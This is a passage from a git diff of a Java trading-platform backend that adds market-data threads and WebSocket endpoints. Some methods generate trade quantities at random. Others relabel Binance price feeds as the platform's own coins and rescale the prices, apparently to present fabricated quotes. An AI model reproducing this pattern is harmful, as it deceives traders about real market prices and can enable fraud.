BigDecimal(random.toString()); + } + if(p.compareTo(new BigDecimal("50"))>0 && p.compareTo(new BigDecimal("5000"))<0){ + int min = 50; // 定义随机数的最小值 + int max = 5000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()).divide(new BigDecimal("1000000")); + } + if(p.compareTo(new BigDecimal("5000"))>0 ){ + int min = 50; // 定义随机数的最小值 + int max = 5000; // 定义随机数的最大值 + Integer random = (int) min + (int) (Math.random() * (max - min)); + q=new BigDecimal(random.toString()).divide(new BigDecimal("10000000")); + } + String str = "{'e':'aggTrade','E':'"+E+"','s':'"+s+"','p':'"+p+"','q':'"+q.toString()+"','T':'"+T+"','m':'"+m+"'}"; + return str; + } + + @Override + public void getAllPrice() { + } + + @Override + public void initMarketThreadRun() { + BianaceWebSocketClient symbolTickerClient = new BianaceWebSocketClient(); + Set strings = new HashSet<>(); + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("binance"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getSymbol()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("binance"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getSymbol()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getSymbol()); + } + + //兑换 + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tSymbolManages = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + for (TSymbolManage symbolManage : tSymbolManages) { + strings.add(symbolManage.getSymbol()+"usdt"); + } + //发币 和 自发币 + KlineSymbol klineSymbol = new KlineSymbol().setMarket("echo"); + List list = klineSymbolService.selectKlineSymbolList(klineSymbol); + for (KlineSymbol kline : list) { + strings.add(kline.getReferCoin()+"usdt"); + } + //对应detail + symbolTickerClient.allTickerStream(((allEvent) -> { + JSONArray arr = JSONArray.parseArray(allEvent); + for (int i = 0; i < arr.size(); i++) { + JSONObject obj = JSON.parseObject(arr.get(i).toString()); + String event = obj.toString(); + webSocketUserManager.savePriceRdies(event); + if(strings.contains(obj.getString("s").toLowerCase())){ + webSocketUserManager.binanceDETAILSendMeg(event); + String s = event; + for (KlineSymbol kSymbol : list) { + if((obj.getString("s").toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event= ownDetail(s,kSymbol); + webSocketUserManager.binanceDETAILSendMeg(event); + } + } + } + } + })); + } + + private String ownDetail(String event,KlineSymbol kSymbol) { + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + BigDecimal o = new BigDecimal(jsonObject.getString("o")); + BigDecimal h = new BigDecimal(jsonObject.getString("h")); + BigDecimal l = new BigDecimal(jsonObject.getString("l")); + BigDecimal c = new BigDecimal(jsonObject.getString("c")); + BigDecimal q = new BigDecimal(jsonObject.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + private String ownTrade(String event,KlineSymbol kSymbol ) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal p = new BigDecimal(jsonObject.getString("p")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("p",p.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + + private String ownKline(String event,KlineSymbol kSymbol) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + JSONObject k = jsonObject.getJSONObject("k"); + BigDecimal o = new BigDecimal(k.getString("o")); + BigDecimal h = new BigDecimal(k.getString("h")); + BigDecimal l = new BigDecimal(k.getString("l")); + BigDecimal c = new BigDecimal(k.getString("c")); + BigDecimal q = new BigDecimal(k.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + k.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + k.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("k",k); + return jsonObject.toJSONString(); + } + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadEnergy.java b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadEnergy.java new file mode 100644 index 0000000..46aea55 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadEnergy.java @@ -0,0 +1,116 @@ +package com.ruoyi.socket.service.impl; + +import cn.hutool.http.HttpRequest; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.socket.manager.WebSocketUserManager; +import lombok.extern.slf4j.Slf4j; +import org.springframework.scheduling.annotation.Async; +import org.springframework.scheduling.annotation.EnableScheduling; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.net.URISyntaxException; +import java.time.DayOfWeek; +import java.time.LocalDate; +import java.util.HashSet; +import java.util.List; +import java.util.Random; +import java.util.Set; + +/** + * energy 能源 + */ +@Slf4j +@EnableScheduling +@Component +public class MarketThreadEnergy { + + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private WebSocketUserManager webSocketUserManager; + + private static final Set coins = new HashSet<>(); + + @Scheduled(fixedRate = 1000 * 60 * 60 * 24) + public void getSecondCoins() { + //秒合约Crude原油 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("energy"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + coins.add(secondCoinConfig.getCoin().toUpperCase()); + } + //U本位 + TContractCoin tContractCoin = new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("energy"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + coins.add(contractCoin.getCoin().toUpperCase()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("energy"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + coins.add(currencySymbol.getCoin().toUpperCase()); + } + log.info(JSONObject.toJSONString(coins)); + } + + @Async + @Scheduled(cron = "*/15 * * * * ?") + public void marketThreadRun() throws URISyntaxException { + if (isOffDay()) { + log.info("星期六星期日 不查"); + return; + } + for (String coinStr : coins) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + Random random = new Random(); + double v = random.nextDouble(); + String url = "https://api-q.fx678img.com/getQuote.php?exchName=IPE&symbol=" + coinStr.toUpperCase() + "&st=" + v; + String result = HttpRequest.get(url) + .header("Referer", "https://quote.fx678.com/") + .header("Host", "api-q.fx678img.com") + .header("Origin", "https://quote.fx678.com") + .timeout(20000) + .execute().body(); + if (StringUtils.isNotEmpty(result) && result.length() > 100) { + webSocketUserManager.crudeKlineSendMeg(result, coinStr); + webSocketUserManager.metalDETAILSendMeg(result, coinStr); + } + } + }); + thread.start(); + } + } + + private boolean isOffDay() { + LocalDate today = LocalDate.now(); + DayOfWeek dayOfWeek = today.getDayOfWeek(); + if (dayOfWeek == DayOfWeek.SATURDAY || dayOfWeek == DayOfWeek.SUNDAY) { + log.info("星期六星期日 不查"); + return true; + } + return false; + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadHuoBiImpl.java b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadHuoBiImpl.java new file mode 100644 index 0000000..fd600e3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadHuoBiImpl.java @@ -0,0 +1,122 @@ +package com.ruoyi.socket.service.impl; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; +import com.huobi.wss.event.MarketDetailSubResponse; +import com.huobi.wss.event.MarketKLineSubResponse; +import com.huobi.wss.event.MarketTradeDetailSubResponse; +import com.huobi.wss.handle.WssMarketHandle; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.domain.TSymbolManage; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.bussiness.service.ITSymbolManageService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.socket.service.MarketThread; +import com.ruoyi.socket.manager.WebSocketUserManager; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import java.net.URISyntaxException; +import java.util.*; + +@Service +@Slf4j +public class MarketThreadHuoBiImpl implements MarketThread { + + @Autowired + private RedisCache redisCache; + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private ITSymbolManageService tSymbolManageService; + @Resource + private WebSocketUserManager webSocketUserManager; + private String URL = "wss://api.hbdm.com/linear-swap-ws";//合约站行情请求以及订阅地址 + + @Override + public void marketThreadRun() { + + try { + Set strings = new HashSet<>(); + + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("huobi"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getSymbol()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("huobi"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getSymbol()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("huobi"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getSymbol()); + } + //兑换 + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setEnable("1"); + tCurrencySymbol.setMarket("huobi"); + List tSymbolManages = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + for (TSymbolManage symbolManage : tSymbolManages) { + strings.add(symbolManage.getSymbol()+"usdt"); + } + WssMarketHandle klinesMarketHandle = new WssMarketHandle(URL); + List subList = new ArrayList<>(strings); + klinesMarketHandle.sub(subList, response -> { + log.debug(response); + //要写分发逻辑 和 控线逻辑 有三个 数据结构 1detail 2kline 3trade + JSONObject parse = (JSONObject) JSONObject.parse(response); + String o = (String)parse.get("ch"); + //判断属于哪种类型 + if(o.indexOf("trade")>-1){ + //trade + MarketTradeDetailSubResponse event = JSON.parseObject(response, MarketTradeDetailSubResponse.class); + webSocketUserManager.buidlMsgToSend(event); + + }else if(o.indexOf("kline")>-1){ + //kline + MarketKLineSubResponse event = JSON.parseObject(response, MarketKLineSubResponse.class); + webSocketUserManager.buidlMsgToSend(event); + }else{ + //detail + MarketDetailSubResponse event = JSON.parseObject(response, MarketDetailSubResponse.class); + webSocketUserManager.buidlMsgToSend(event); + } + }); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void getAllPrice() { + + } + + @Override + public void initMarketThreadRun() { + + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadMetal.java b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadMetal.java new file mode 100644 index 0000000..f1ec407 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadMetal.java @@ -0,0 +1,94 @@ +package com.ruoyi.socket.service.impl; + +import cn.hutool.http.HttpRequest; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.bussiness.service.ITSymbolManageService; +import com.ruoyi.socket.manager.WebSocketUserManager; +import lombok.extern.slf4j.Slf4j; +import org.springframework.scheduling.annotation.Async; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.net.URISyntaxException; +import java.time.DayOfWeek; +import java.time.LocalDate; +import java.util.HashSet; +import java.util.List; +import java.util.Random; +import java.util.Set; + + +@Slf4j +@Component +public class MarketThreadMetal { + + + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private WebSocketUserManager webSocketUserManager; + @Async + @Scheduled(cron = "*/15 * * * * ?") + public void marketThreadRun() throws URISyntaxException { + LocalDate today = LocalDate.now(); + DayOfWeek dayOfWeek = today.getDayOfWeek(); + + Set strings = new HashSet<>(); + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("metal"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getCoin().toUpperCase()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("metal"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getCoin().toUpperCase()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("metal"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getCoin().toUpperCase()); + } + //兑换 + for (String string : strings) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + Random random = new Random(); + double v = random.nextDouble(); + String url = ""; + url = "https://api-q.fx678img.com/getQuote.php?exchName=WGJS&symbol="+string.toUpperCase()+"&st="+v; + String result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .header("Host","api-q.fx678img.com") + .header("Origin","https://quote.fx678.com") + .timeout(20000) + .execute().body(); + webSocketUserManager.metalKlineSendMeg(result,string); + webSocketUserManager.metalDETAILSendMeg(result,string); + } + }); + thread.start(); + } + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadMt5.java b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadMt5.java new file mode 100644 index 0000000..e2695d5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadMt5.java @@ -0,0 +1,109 @@ +package com.ruoyi.socket.service.impl; + +import cn.hutool.http.HttpRequest; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.bussiness.service.ITSymbolManageService; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.socket.manager.WebSocketUserManager; +import com.ruoyi.system.service.ISysDictTypeService; +import lombok.extern.slf4j.Slf4j; +import org.springframework.scheduling.annotation.Async; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import java.net.URISyntaxException; +import java.time.DayOfWeek; +import java.time.LocalDate; +import java.util.*; + + +@Slf4j +@Component +public class MarketThreadMt5 { + + + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private ITSymbolManageService tSymbolManageService; + + @Resource + private WebSocketUserManager webSocketUserManager; + @Resource + private ISysDictTypeService sysDictTypeService; + @Async + //@Scheduled(cron = "*/15 * * * * ?") + public void marketThreadRun() throws URISyntaxException { + LocalDate today = LocalDate.now(); + DayOfWeek dayOfWeek = today.getDayOfWeek(); + Set strings = new HashSet<>(); + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("mt5"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getSymbol().toUpperCase()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("mt5"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getSymbol().toUpperCase()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("mt5"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getSymbol().toUpperCase()); + } + + //字典银行卡绑定币种 + List backCoinList = sysDictTypeService.selectDictDataByType("t_bank_coin"); + if (!CollectionUtils.isEmpty(backCoinList)){ + for (SysDictData sysDictData : backCoinList) { + if ("USD".equalsIgnoreCase(sysDictData.getDictValue())) continue; + strings.add(sysDictData.getDictValue().toUpperCase()+"USD"); + strings.add("USD"+sysDictData.getDictValue().toUpperCase()); + } + } + //兑换 + for (String string : strings) { + + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + Random random = new Random(); + double v = random.nextDouble(); + String url = ""; + url = "https://api-q.fx678img.com/getQuote.php?exchName=WH&symbol="+string+"&st="+v; + String result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .header("Host","api-q.fx678img.com") + .header("Origin","https://quote.fx678.com") + .timeout(20000) + .execute().body(); + + webSocketUserManager.mt5KlineSendMeg(result,string); + webSocketUserManager.mt5DETAILSendMeg(result,string); + } + }); + thread.start(); + } + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketCoinOver.java b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketCoinOver.java new file mode 100644 index 0000000..e1979b8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketCoinOver.java @@ -0,0 +1,201 @@ +package com.ruoyi.socket.socketserver; + + + import com.alibaba.fastjson2.JSON; + import com.alibaba.fastjson2.JSONObject; + import com.ruoyi.bussiness.service.ITWithdrawService; + import com.ruoyi.common.core.redis.RedisCache; + import com.ruoyi.socket.dto.SocketDto; + import jnr.ffi.annotations.In; + import lombok.extern.slf4j.Slf4j; + import org.apache.commons.lang3.StringUtils; + import org.springframework.stereotype.Component; + + import javax.annotation.Resource; + import javax.websocket.*; + import javax.websocket.server.PathParam; + import javax.websocket.server.ServerEndpoint; + import java.io.IOException; + import java.util.ArrayList; + import java.util.HashMap; + import java.util.Map; + import java.util.concurrent.ConcurrentHashMap; + +/** + * websocket的处理类。 + * 作用相当于HTTP请求 + * 中的controller + */ +@Component +@Slf4j +@ServerEndpoint("/webSocket/coinOver/{userId}") +public class WebSocketCoinOver { + + /**静态变量,用来记录当前在线连接数。应该把它设计成线程安全的。*/ + private static int onlineCount = 0; + /**concurrent包的线程安全Set,用来存放每个客户端对应的WebSocket对象。*/ + public static ConcurrentHashMap webSocketMap = new ConcurrentHashMap<>(); + /**与某个客户端的连接会话,需要通过它来给客户端发送数据*/ + private Session session; + /**接收userId*/ + private String userId = ""; + + private static RedisCache redisCache; + private static ITWithdrawService withdrawService; + public void setWebSocketServers(RedisCache redisCache){ + WebSocketCoinOver.redisCache = redisCache; + } + + /** + * 连接建立成 + * 功调用的方法 + */ + @OnOpen + public void onOpen(Session session,@PathParam("userId") String userId) { + this.session = session; + this.userId=userId; + redisCache.setCacheObject(userId,"1"); + + if(webSocketMap.containsKey(userId)){ + webSocketMap.remove(userId); + //加入set中 + webSocketMap.put(userId,this); + }else{ + //加入set中 + webSocketMap.put(userId,this); + //在线数加1 + addOnlineCount(); + } + log.debug("用户连接:"+userId+",当前在线人数为:" + getOnlineCount()); + SocketDto socketDto = new SocketDto(); + socketDto.setType("0"); + socketDto.setMessage("连接成功"); + sendMessage(JSONObject.toJSONString(socketDto)); + } + + /** + * 连接关闭 + * 调用的方法 + */ + @OnClose + public void onClose(CloseReason closeReason) { + if(webSocketMap.containsKey(userId)){ + webSocketMap.remove(userId); + //从set中删除 + subOnlineCount(); + redisCache.deleteObject(this.userId); + } + log.debug("用户退出:"+userId+",当前在线人数为:" + getOnlineCount()); + } + + /** + * 收到客户端消 + * 息后调用的方法 + * @param message + * 客户端发送过来的消息 + **/ + @OnMessage + public void onMessage(String message, Session session) { + //可以群发消息 + //消息保存到数据库、redis + if(StringUtils.isNotBlank(message)){ + try { + + //解析发送的报文 + String toUserId=this.userId; + //传送给对应toUserId用户的websocket + if(StringUtils.isNotBlank(toUserId)&&webSocketMap.containsKey(toUserId)){ + webSocketMap.get(toUserId).sendMessage(message); + } + }catch (Exception e){ + e.printStackTrace(); + } + } + } + + + /** + * @param session + * @param error + */ + @OnError + public void onError(Session session, Throwable error) { + //推出后要遍历redis 订阅的所有信息 + + log.error("用户错误:"+this.userId+",原因:"+error.getMessage()); + error.printStackTrace(); + } + + /** + * 实现服务 + * 器主动推送 + */ + public void sendMessage(String message) { + try { + if(session==null){ + return; + } + this.session.getBasicRemote().sendText(message); + } catch (IOException e) { + e.printStackTrace(); + } + } + + /** + *发送自定 + *义消息 + **/ + public static void sendInfo(String message, String userId) { + if(StringUtils.isNotBlank(userId) && webSocketMap.containsKey(userId)){ + webSocketMap.get(userId).sendMessage(message); + } + } + + /** + *发送自定 + *义消息 + **/ + public void sendInfoAll(Integer code) { + Map map = new HashMap<>(); + map.put("type",code); + for (String s : webSocketMap.keySet()) { + webSocketMap.get(s).sendMessage(JSON.toJSONString(map)); + } + } + + public void sendInfo(Integer code) { + Map map = new HashMap<>(); + map.put("position",code); + for (String s : webSocketMap.keySet()) { + webSocketMap.get(s).sendMessage(JSON.toJSONString(map)); + } + } + + + /** + * 获得此时的 + * 在线人数 + * @return + */ + public static synchronized int getOnlineCount() { + return onlineCount; + } + + /** + * 在线人 + * 数加1 + */ + public static synchronized void addOnlineCount() { + WebSocketCoinOver.onlineCount++; + } + + /** + * 在线人 + * 数减1 + */ + public static synchronized void subOnlineCount() { + WebSocketCoinOver.onlineCount--; + } + +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketNotice.java b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketNotice.java new file mode 100644 index 0000000..94ce657 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketNotice.java @@ -0,0 +1,194 @@ +package com.ruoyi.socket.socketserver; + + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.socket.dto.SocketDto; +import jnr.ffi.annotations.In; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import javax.websocket.*; +import javax.websocket.server.PathParam; +import javax.websocket.server.ServerEndpoint; +import java.io.IOException; +import java.util.ArrayList; +import java.util.concurrent.ConcurrentHashMap; + +/** + * websocket的处理类。 + * 作用相当于HTTP请求 + * 中的controller + */ +@Component +@Slf4j +@ServerEndpoint("/webSocket/notice/{userId}/{uuId}") +public class WebSocketNotice { + + /**静态变量,用来记录当前在线连接数。应该把它设计成线程安全的。*/ + private static int onlineCount = 0; + /**concurrent包的线程安全Set,用来存放每个客户端对应的WebSocket对象。*/ + public static ConcurrentHashMap webSocketMap = new ConcurrentHashMap<>(); + /**与某个客户端的连接会话,需要通过它来给客户端发送数据*/ + private Session session; + /**接收userId*/ + private String userId = ""; + + private static RedisCache redisCache; + private static ITWithdrawService withdrawService; + public void setWebSocketServers(RedisCache redisCache,ITWithdrawService withdrawService){ + this.redisCache = redisCache; + this.withdrawService = withdrawService; + } + + /** + * 连接建立成 + * 功调用的方法 + */ + @OnOpen + public void onOpen(Session session,@PathParam("userId") String userId,@PathParam("uuId") String uuId) { + this.session = session; + this.userId=userId+"_"+uuId; + redisCache.setCacheObject(this.userId,"1"); + + if(webSocketMap.containsKey(this.userId)){ + webSocketMap.remove(this.userId); + //加入set中 + webSocketMap.put(this.userId,this); + }else{ + //加入set中 + webSocketMap.put(this.userId,this); + //在线数加1 + addOnlineCount(); + } + log.debug("用户连接:"+this.userId+",当前在线人数为:" + getOnlineCount()); + SocketDto socketDto = new SocketDto(); + socketDto.setType("0"); + socketDto.setMessage("连接成功"); + sendMessage(JSONObject.toJSONString(socketDto)); + sendMessage(JSONObject.toJSONString(withdrawService.sendMessage(0,this.userId))); + } + + /** + * 连接关闭 + * 调用的方法 + */ + @OnClose + public void onClose() { + if(webSocketMap.containsKey(userId)){ + webSocketMap.remove(userId); + //从set中删除 + subOnlineCount(); + redisCache.deleteObject(this.userId); + } + log.debug("用户退出:"+userId+",当前在线人数为:" + getOnlineCount()); + } + + /** + * 收到客户端消 + * 息后调用的方法 + * @param message + * 客户端发送过来的消息 + **/ + @OnMessage + public void onMessage(String message, Session session) { + //可以群发消息 + //消息保存到数据库、redis + if(StringUtils.isNotBlank(message)){ + try { + //解析发送的报文 + JSONObject jsonObject = JSON.parseObject(message); + //追加发送人(防止串改) + jsonObject.put("fromUserId",this.userId); + String toUserId=(String) jsonObject.put("fromUserId",this.userId); + //传送给对应toUserId用户的websocket + if(StringUtils.isNotBlank(toUserId)&&webSocketMap.containsKey(toUserId)){ + webSocketMap.get(toUserId).sendMessage(message); + } + }catch (Exception e){ + e.printStackTrace(); + } + } + } + + + /** + * @param session + * @param error + */ + @OnError + public void onError(Session session, Throwable error) { + //推出后要遍历redis 订阅的所有信息 + log.error("用户错误:"+this.userId+",原因:"+error.getMessage()); + } + + /** + * 实现服务 + * 器主动推送 + */ + public void sendMessage(String message) { + try { + if(session==null){ + return; + } + this.session.getBasicRemote().sendText(message); + } catch (IOException e) { + e.printStackTrace(); + } + } + + /** + *发送自定 + *义消息 + **/ + public static void sendInfo(String message, String userId) { + 